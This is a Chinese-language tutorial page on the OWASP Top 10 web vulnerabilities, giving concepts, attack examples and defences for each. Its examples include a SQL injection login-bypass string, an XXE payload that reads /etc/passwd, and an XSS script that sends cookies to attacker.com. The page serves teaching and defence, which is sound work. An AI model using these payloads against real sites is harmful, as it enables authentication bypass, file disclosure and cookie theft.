主頁 > 後端開發 > [滲透測驗]—4.2 Web應用安全漏洞

[滲透測驗]—4.2 Web應用安全漏洞

2023-07-12 07:54:06 後端開發

在本節中,我們將學習OWASP(開放網路應用安全專案)發布的十大Web應用安全漏洞,OWASP十大安全漏洞是對Web應用安全風險進行評估的標準,幫助開發者和安全工程師了解并防范常見的安全威脅,

1. A1 - 注入(Injection)

概念:注入漏洞發生在應用程式將不可信的資料作為命令或查詢的一部分執行時,典型的注入型別包括SQL注入、OS命令注入、LDAP注入等,

攻擊示例:假設一個登錄表單,后端使用以下SQL查詢來驗證用戶:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

攻擊者可以在用戶名或密碼欄位中輸入惡意的SQL代碼,如:

username: ' OR '1'='1
password: ' OR '1'='1

生成的SQL查詢會變成:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';

這將繞過身份驗證,允許攻擊者登錄,

防御措施

  • 使用引數化查詢或預編譯陳述句,
  • 對用戶輸入進行有效的驗證和過濾,
  • 最小權限原則,限制資料庫帳戶的權限,

2. A2 - 身份驗證和會話管理漏洞(Broken Authentication)

概念:破損的身份驗證和會話管理功能可能導致攻擊者竊取其他用戶的憑據或會話令牌,從而冒充其他用戶,

攻擊示例:應用程式使用簡單的、可預測的會話ID,攻擊者通過暴力破解或預測會話ID,竊取其他用戶的會話,

防御措施

  • 使用強大且難以預測的會話ID,
  • 對敏感操作增加多因素認證,
  • 設定會話超時和注銷功能,
  • 避免使用明文存盤和傳輸密碼,

3. A3 - 敏感資料暴露(Sensitive Data Exposure)

概念:當應用程式沒有正確保護敏感資料(如用戶憑據、信用卡資訊、個人資訊等),攻擊者可能竊取或修改這些資料,造成嚴重后果,

攻擊示例:網站將用戶密碼以明文形式存盤在資料庫中,攻擊者通過其他漏洞獲取資料庫訪問權限,竊取所有用戶的密碼,

防御措施

  • 對敏感資料進行加密存盤和傳輸,
  • 使用安全的密碼哈希演算法,如bcrypt、scrypt等,
  • 限制敏感資料的訪問權限和生命周期,

4. A4 - XML外部物體(XXE)攻擊

概念:XML外部物體攻擊發生在決議包含惡意外部物體參考的XML檔案時,攻擊者可以利用此類漏洞執行遠程代碼、訪問內部檔案等,

攻擊示例:攻擊者提交以下惡意XML資料:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

服務器決議XML時,會回傳/etc/passwd檔案的內容,

防御措施

  • 禁用外部物體決議,
  • 使用不易受XXE攻擊的資料格式,如JSON,
  • 對輸入資料進行嚴格的驗證和過濾,

5. A5 - 訪問控制失效(Broken Access Control)

概念:訪問控制失效指應用程式未正確實施訪問控制,導致未授權用戶訪問受保護資源,

攻擊示例:網站管理員的URL是https://example.com/admin,攻擊者通過嘗試訪問該URL,發現未被正確保護,從而訪問管理員功能,

防御措施

  • 使用訪問控制串列(ACL)實施基于角色的訪問控制,
  • 驗證每個請求的權限,
  • 遵循最小權限原則,

6. A6 - 安全配置錯誤(Security Misconfiguration)

概念:安全配置錯誤通常發生在應用程式、框架、應用服務器、資料庫等組件沒有正確配置安全設定,

攻擊示例:開發人員在生產環境中使用默認的資料庫密碼,攻擊者猜測并使用默認密碼登錄資料庫,

防御措施

  • 定期審查和更新安全配置,
  • 使用最低權限原則配置組件,
  • 移除不必要的功能和默認賬戶,

7. A7 - 跨站腳本攻擊(XSS)

概念:跨站腳本攻擊發生在應用程式將不可信的資料插入到輸出的HTML中,導致惡意腳本在用戶瀏覽器中執行,

攻擊示例:評論系統允許用戶輸入HTML代碼,攻擊者在評論中插入惡意JavaScript代碼:

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

其他用戶查看該評論時,攻擊者的腳本將執行并竊取用戶的cookie,

防御措施

  • 對用戶輸入進行有效的驗證和過濾,
  • 使用瀏覽器安全特性,如Content Security Policy(CSP),
  • 使用輸出編碼防止HTML注入,

8. A8 - 不安全的反序列化(Insecure Deserialization)

概念:不安全的反序列化發生在應用程式反序列化惡意資料時,攻擊者利用此漏洞執行遠程代碼或繞過應用程式邏輯,

攻擊示例:應用程式使用Java反序列化來讀取用戶的session物件,攻擊者構造惡意序列化資料,觸發遠程代碼執行漏洞,

防御措施

  • 避免反序列化不受信任的資料,
  • 使用安全的、簽名的序列化格式,
  • 對序列化資料進行完整性校驗,

9. A9 - 使用有已知安全漏洞的組件

概念:此類漏洞發生在應用程式使用了包含已知安全漏洞的組件(如庫、框架等),

攻擊示例:應用程式使用了一個存在SQL注入漏洞的開源庫,攻擊者利用該漏洞竊取資料庫資料,

防御措施

  • 定期審查和更新組件,確保無已知漏洞,
  • 移除不必要的組件,
  • 遵循最小權限原則,

10. A10 - 不足的日志記錄和監控(Insufficient Logging & Monitoring)

概念:應用程式沒有足夠的日志記錄和監控,導致攻擊者可以在未被發現的情況下進行攻擊,

攻擊示例:攻擊者對網站發起惡意攻擊,但由于日志記錄和監控不足,管理員無法及時發現并阻止攻擊,

防御措施

  • 記錄安全相關的事件,如登錄、權限更改、例外行為等,
  • 定期審查日志,檢測可疑行為,
  • 實施實時監控和報警機制,
  • 確保日志不被篡改,

小結

以上內容詳細介紹了OWASP十大安全漏洞,包括漏洞概念、攻擊示例以及防御措施,了解這些漏洞對于應對Web應用滲透測驗和保護Web應用安全至關重要,作為初學者,你可以通過學習這些知識點,逐步提高自己的安全意識和滲透測驗技能,在實際操作中,始終遵循道德規范,確保進行安全測驗的行為是合法和授權的,
推薦閱讀:

https://mp.weixin.qq.com/s/dV2JzXfgjDdCmWRmE0glDA

https://mp.weixin.qq.com/s/an83QZOWXHqll3SGPYTL5g

file

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/557007.html

標籤:其他

上一篇:跨越HTTP無狀態邊界:Cookie與Session在Django中的實戰應用

下一篇:返回列表

標籤雲
其他(162375) Python(38274) JavaScript(25530) Java(18294) C(15239) 區塊鏈(8275) C#(7972) AI(7469) 爪哇(7425) MySQL(7294) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5876) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4615) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2438) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) HtmlCss(1995) .NET技术(1986) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1882) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 【C++】Microsoft C++、C 和匯編程式檔案

    ......

    uj5u.com 2020-09-10 00:57:23 more
  • 例外宣告

    相比于斷言適用于排除邏輯上不可能存在的狀態,例外通常是用于邏輯上可能發生的錯誤。 例外宣告 Item 1:當函式不可能拋出例外或不能接受拋出例外時,使用noexcept 理由 如果不打算拋出例外的話,程式就會認為無法處理這種錯誤,并且應當盡早終止,如此可以有效地阻止例外的傳播與擴散。 示例 //不可 ......

    uj5u.com 2020-09-10 00:57:27 more
  • Codeforces 1400E Clear the Multiset(貪心 + 分治)

    鏈接:https://codeforces.com/problemset/problem/1400/E 來源:Codeforces 思路:給你一個陣列,現在你可以進行兩種操作,操作1:將一段沒有 0 的區間進行減一的操作,操作2:將 i 位置上的元素歸零。最終問:將這個陣列的全部元素歸零后操作的最少 ......

    uj5u.com 2020-09-10 00:57:30 more
  • UVA11610 【Reverse Prime】

    本人看到此題沒有翻譯,就附帶了一個自己的翻譯版本 思考 這一題,它的第一個要求是找出所有 $7$ 位反向質數及其質因數的個數。 我們應該需要質數篩篩選1~$10^{7}$的所有數,這里就不慢慢介紹了。但是,重讀題,我們突然發現反向質數都是 $7$ 位,而將它反過來后的數字卻是 $6$ 位數,這就說明 ......

    uj5u.com 2020-09-10 00:57:36 more
  • 統計區間素數數量

    1 #pragma GCC optimize(2) 2 #include <bits/stdc++.h> 3 using namespace std; 4 bool isprime[1000000010]; 5 vector<int> prime; 6 inline int getlist(int ......

    uj5u.com 2020-09-10 00:57:47 more
  • C/C++編程筆記:C++中的 const 變數詳解,教你正確認識const用法

    1、C中的const 1、區域const變數存放在堆疊區中,會分配記憶體(也就是說可以通過地址間接修改變數的值)。測驗代碼如下: 運行結果: 2、全域const變數存放在只讀資料段(不能通過地址修改,會發生寫入錯誤), 默認為外部聯編,可以給其他源檔案使用(需要用extern關鍵字修飾) 運行結果: ......

    uj5u.com 2020-09-10 00:58:04 more
  • 【C++犯錯記錄】VS2019 MFC添加資源不懂如何修改資源宏ID

    1. 首先在資源視圖中,添加資源 2. 點擊新添加的資源,復制自動生成的ID 3. 在解決方案資源管理器中找到Resource.h檔案,編輯,使用整個專案搜索和替換的方式快速替換 宏宣告 4. Ctrl+Shift+F 全域搜索,點擊查找全部,然后逐個替換 5. 為什么使用搜索替換而不使用屬性視窗直 ......

    uj5u.com 2020-09-10 00:59:11 more
  • 【C++犯錯記錄】VS2019 MFC不懂的批量添加資源

    1. 打開資源頭檔案Resource.h,在其中預先定義好宏 ID(不清楚其實ID值應該設定多少,可以先新建一個相同的資源項,再在這個資源的ID值的基礎上遞增即可) 2. 在資源視圖中選中專案資源,按F7編輯資源檔案,按 ID 型別 相對路徑的形式添加 資源。(別忘了先把檔案拷貝到專案中的res檔案 ......

    uj5u.com 2020-09-10 01:00:19 more
  • C/C++編程筆記:關于C++的參考型別,專供新手入門使用

    今天要講的是C++中我最喜歡的一個用法——參考,也叫別名。 參考就是給一個變數名取一個變數名,方便我們間接地使用這個變數。我們可以給一個變數創建N個參考,這N + 1個變數共享了同一塊記憶體區域。(參考型別的變數會占用記憶體空間,占用的記憶體空間的大小和指標型別的大小是相同的。雖然參考是一個物件的別名,但 ......

    uj5u.com 2020-09-10 01:00:22 more
  • 【C/C++編程筆記】從頭開始學習C ++:初學者完整指南

    眾所周知,C ++的學習曲線陡峭,但是花時間學習這種語言將為您的職業帶來奇跡,并使您與其他開發人員區分開。您會更輕松地學習新語言,形成真正的解決問題的技能,并在編程的基礎上打下堅實的基礎。 C ++將幫助您養成良好的編程習慣(即清晰一致的編碼風格,在撰寫代碼時注釋代碼,并限制類內部的可見性),并且由 ......

    uj5u.com 2020-09-10 01:00:41 more
最新发布
  • [滲透測驗]—4.2 Web應用安全漏洞

    在本節中,我們將學習OWASP(開放網路應用安全專案)發布的十大Web應用安全漏洞。OWASP十大安全漏洞是對Web應用安全風險進行評估的標準,幫助開發者和安全工程師了解并防范常見的安全威脅。 ### 1. A1 - 注入(Injection) **概念**:注入漏洞發生在應用程式將不可信的資料作為 ......

    uj5u.com 2023-07-12 07:54:06 more
  • 跨越HTTP無狀態邊界:Cookie與Session在Django中的實戰應用

    **本文深入探索了Django中的Cookie和Session,決議了如何應對HTTP協議的無狀態性問題,說明其基礎概念,分析作業原理,并討論何時應選擇使用Cookie或Session。文章進階部分,提出高效管理Cookie和Session,以及如何利用它們進行用戶身份驗證。** ## HTTP協議 ......

    uj5u.com 2023-07-12 07:54:00 more
  • RequestContextHolder跨執行緒獲取不到requests請求物件的解決方

    # 一、前言 最近在做一個專案,有個比較耗時的操作是啟用執行緒進行異步操作,當時在啟用的執行緒時,突然發現子執行緒無法獲取父執行緒中的HttpServletRequest請求物件,因為是第一次遇到這種問題,所以記錄一下解決方案。 # 二、問題模擬 在這里,我們簡單模擬一下出現的問題。我們首先撰寫一個簡單的h ......

    uj5u.com 2023-07-12 07:53:50 more
  • 仿冒社交APP如何竊取資訊后展開勒索詐騙

    ## 起因 最近某論壇有個小伙伴求助,說自己安裝了一款 APP 后,自己的通訊錄、短信、相冊都被竊取了,進而要挾他轉賬匯款。 大概情況如下: 首先是在某社交 APP 群組中加他,好友通過后的聊天如下: ![file](https://img2023.cnblogs.com/other/606533/ ......

    uj5u.com 2023-07-12 07:51:16 more
  • 【經典爬蟲案例】用Python爬取微博熱搜榜!

    [toc] # 一、爬取目標 您好,我是[@馬哥python說](https://www.zhihu.com/people/13273183132),一名10年程式猿。 本次爬取的目標是: [微博熱搜榜](https://s.weibo.com/top/summary?cate=realtimeho ......

    uj5u.com 2023-07-12 07:44:04 more
  • 【調制解調】DSB 雙邊帶調幅

    學習數字信號處理演算法時整理的學習筆記。本篇介紹 DSB 雙邊帶調幅信號的調制與解調,內附全套 MATLAB 代碼。 ......

    uj5u.com 2023-07-11 08:21:46 more
  • 為什么使用ioutil.ReadAll 函式需要注意

    # 1. 引言 當我們需要將資料一次性加載到記憶體中,`ioutil.ReadAll` 函式是一個方便的選擇,但是`ioutil.ReadAll` 的使用是需要注意的。 在這篇文章中,我們將首先對`ioutil.ReadAll`函式進行基本介紹,之后會介紹其存在的問題,以及引起該問題的原因,最后給出了 ......

    uj5u.com 2023-07-11 08:21:41 more
  • 為什么使用ioutil.ReadAll 函式需要注意

    # 1. 引言 當我們需要將資料一次性加載到記憶體中,`ioutil.ReadAll` 函式是一個方便的選擇,但是`ioutil.ReadAll` 的使用是需要注意的。 在這篇文章中,我們將首先對`ioutil.ReadAll`函式進行基本介紹,之后會介紹其存在的問題,以及引起該問題的原因,最后給出了 ......

    uj5u.com 2023-07-11 08:20:28 more
  • Rust 使用egui創建一個簡單的下載器demo

    倉庫連接: https://github.com/GaN601/egui-demo-download-util 這是我第一個rust gui demo, 學習rust有挺長時間了, 但是一直沒有落實到實踐中, 本著對桌面應用的興趣, 考察了slint、egui兩種框架, 最后還是選擇了egui. 這 ......

    uj5u.com 2023-07-11 07:48:40 more
  • python筆記:第六章函式&方法

    # 1.系統函式 由系統提供,直接拿來用或是匯入模塊后使用 ``` a = 1.12386 result = round(a,2) print(result) > 1.12 ``` # 2.自定義函式 * 函式是結構化編程的核心 * 使用關鍵詞`def`來定義函式 ``` #函式定義 def fun ......

    uj5u.com 2023-07-11 07:48:37 more